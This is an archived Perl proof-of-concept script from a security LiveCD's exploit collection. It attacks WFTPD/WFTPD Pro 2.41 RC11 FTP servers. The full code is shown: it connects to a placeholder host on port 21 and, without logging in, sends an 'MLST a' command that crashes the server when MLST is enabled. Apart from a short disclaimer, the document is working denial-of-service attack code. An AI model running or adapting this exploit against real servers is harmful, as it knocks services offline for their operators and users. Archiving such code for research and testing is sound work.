home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wftpd / wftpdmlst.pl < prev    next >
Perl Script  |  2005-02-12  |  1KB  |  43 lines
  1. #!/usr/bin/perl
  2. #
  3. # WFTPD/WFTPD Pro 2.41 RC11 denial-of-service #3
  4. # Blue Panda - bluepanda@dwarf.box.sk
  5. # http://bluepanda.box.sk/
  6. #
  7. # ----------------------------------------------------------
  8. # Disclaimer: this file is intended as proof of concept, and
  9. # is not intended to be used for illegal purposes. I accept
  10. # no responsibility for damage incurred by the use of it.
  11. # ----------------------------------------------------------
  12. #
  13. # Sends an MLST command without logging in with USER and PASS first, causing
  14. # WFTPD to crash. Note: MLST is not enabled by default, and must be for this
  15. # to work.
  16. #
  17.  
  18. use IO::Socket;
  19.  
  20. $host = "ftp.host.com" ;
  21. $port = "21";
  22. $wait = 10;
  23.  
  24. # Connect to server.
  25. print "Connecting to $host:$port...";
  26. $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";
  27. print "done.\n";
  28.  
  29. print $socket "MLST a\n";
  30.  
  31. # Wait a while, just to make sure the command arrives.
  32. print "Waiting...";
  33. $time = 0;
  34. while ($time < $wait) {
  35.         sleep(1);
  36.         print ".";
  37.         $time += 1;
  38. }
  39.  
  40. # Finished.
  41. close($socket);
  42. print "\nConnection closed. Finished.\n"
  43.